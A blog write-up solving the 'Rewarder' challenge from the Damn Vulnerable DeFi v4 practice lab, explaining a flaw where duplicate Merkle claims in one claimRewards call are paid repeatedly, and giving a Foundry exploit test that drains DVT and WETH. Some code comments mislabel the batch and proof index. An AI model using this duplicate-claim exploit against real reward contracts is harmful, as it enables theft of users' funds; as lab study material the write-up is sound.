Challenge 5: The Rewarder, Damn vulnerable defi V4 lazy solutions series

Siddharth PatelSiddharth Patel
4 min read

Why Lazy?

I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.

Problem statement:

Distributor is distributing rewards to chosen set of beneficiaries. We've to rescue as much as funds possible from distributor contract as there's some vulnerability found

Examining the Smart Contract

Structs:

  1. Distribution:

    • Stores information about a token distribution including remaining tokens, next batch number, Merkle roots for each batch, and claims made by users.

  2. Claim:

    • Represents a single claim, containing batch number, amount, token index, and Merkle proof.

Important Functions:

  1. createDistribution(IERC20 token, bytes32 newRoot, uint256 amount):

    • Creates a new distribution for a token with a given Merkle root and amount.
  2. claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens):

    • Allows users to claim rewards for multiple tokens in a single transaction.

    • works for multiple claims at single call.

    • It takes claims and tokens in input and in execution it transfers the rewards and also account that claim is being claimed using _setClaimed.

  3. _setClaimed(IERC20 token, uint256 amount, uint256 wordPosition, uint256 newBits):

    • Internal function to mark claims as processed and update the remaining token amount.

Vulnerability

Reward Claim Accounting Discrepancy

The vulnerability lies in the implementation of the claimRewards function, specifically in its handling of multiple claims within a single transaction. The function processes claims sequentially, but there's a critical timing mismatch between reward distribution and claim record updates.

Function Flow:

  1. The function accepts an array of claims as input.

  2. It iterates through each claim in the array.

  3. For each iteration:

    1. The reward amount is transferred to the claimant.
  1. The claim is marked as processed in the next iteration.

Expected Behavior: Under normal circumstances, when claims are unique, this implementation works as intended. Each claim is processed, rewards are distributed, and the claim is marked as completed in the subsequent iteration.

Vulnerability Exploit: The vulnerability becomes apparent when multiple identical claims are submitted in a single transaction. In this scenario:

  1. The function transfers the reward amount for each occurrence of the claim.

  2. However, it only marks the claim as processed after the final occurrence.

Visualization: For a series of identical claims [A, A, A]:

  • Iteration 1: Transfers reward for A, doesn't mark as claimed

  • Iteration 2: Transfers reward for A again, doesn't mark as claimed

  • Iteration 3: Transfers reward for A a third time, marks A as claimed

This implementation allows a malicious actor to receive multiple reward payouts for the same claim before the system recognizes it as processed, potentially draining the contract of funds.

The Attack Strategy

Exploit the claimRewards function to receive multiple reward payouts for a single valid claim.

Prerequisites:

  1. The attacker must have at least one valid, unclaimed reward.

  2. The contract must have sufficient funds to pay out multiple rewards.

Attack Steps:

  1. Identify a valid, unclaimed reward associated with the attacker's address.

  2. Create an array of identical claim objects, all referencing the same valid claim.

  3. Call the claimRewards function with the prepared array of identical claims.

  4. Immediately withdraw or transfer the exploited funds to a separate address.

Solution

Let's code it,

test/the-rewarder/TheRewarder.t.sol

    function test_theRewarder() public checkSolvedByPlayer {
        uint PLAYER_DVT_CLAIM_AMOUNT = 11524763827831882;
        uint PLAYER_WETH_CLAIM_AMOUNT = 1171088749244340;

        bytes32[] memory dvtLeaves = _loadRewards(
            "/test/the-rewarder/dvt-distribution.json"
        );
        bytes32[] memory wethLeaves = _loadRewards(
            "/test/the-rewarder/weth-distribution.json"
        );

        uint dvtTxCount = TOTAL_DVT_DISTRIBUTION_AMOUNT /
            PLAYER_DVT_CLAIM_AMOUNT;
        uint wethTxCount = TOTAL_WETH_DISTRIBUTION_AMOUNT /
            PLAYER_WETH_CLAIM_AMOUNT;
        uint totalTxCount = dvtTxCount + wethTxCount;

        IERC20[] memory tokensToClaim = new IERC20[](2);
        tokensToClaim[0] = IERC20(address(dvt));
        tokensToClaim[1] = IERC20(address(weth));

        // Create Alice's claims
        Claim[] memory claims = new Claim[](totalTxCount);

        for (uint i = 0; i < totalTxCount; i++) {
            if (i < dvtTxCount) {
                claims[i] = Claim({
                    batchNumber: 0, // claim corresponds to first DVT batch
                    amount: PLAYER_DVT_CLAIM_AMOUNT,
                    tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
                    proof: merkle.getProof(dvtLeaves, 188) // Alice's address is at index 2
                });
            } else {
                claims[i] = Claim({
                    batchNumber: 0, // claim corresponds to first DVT batch
                    amount: PLAYER_WETH_CLAIM_AMOUNT,
                    tokenIndex: 1, // claim corresponds to first token in `tokensToClaim` array
                    proof: merkle.getProof(wethLeaves, 188) // Alice's address is at index 2
                });
            }
        }

        distributor.claimRewards({
            inputClaims: claims,
            inputTokens: tokensToClaim
        });

        dvt.transfer(recovery, dvt.balanceOf(player));
        weth.transfer(recovery, weth.balanceOf(player));
    }

See it in action,

forge test --mp test/the-rewarder/TheRewarder.t.sol

Succeed!🔥💸

Incase if you need all solutions,

https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions

0
Subscribe to my newsletter

Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Siddharth Patel
Siddharth Patel

I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.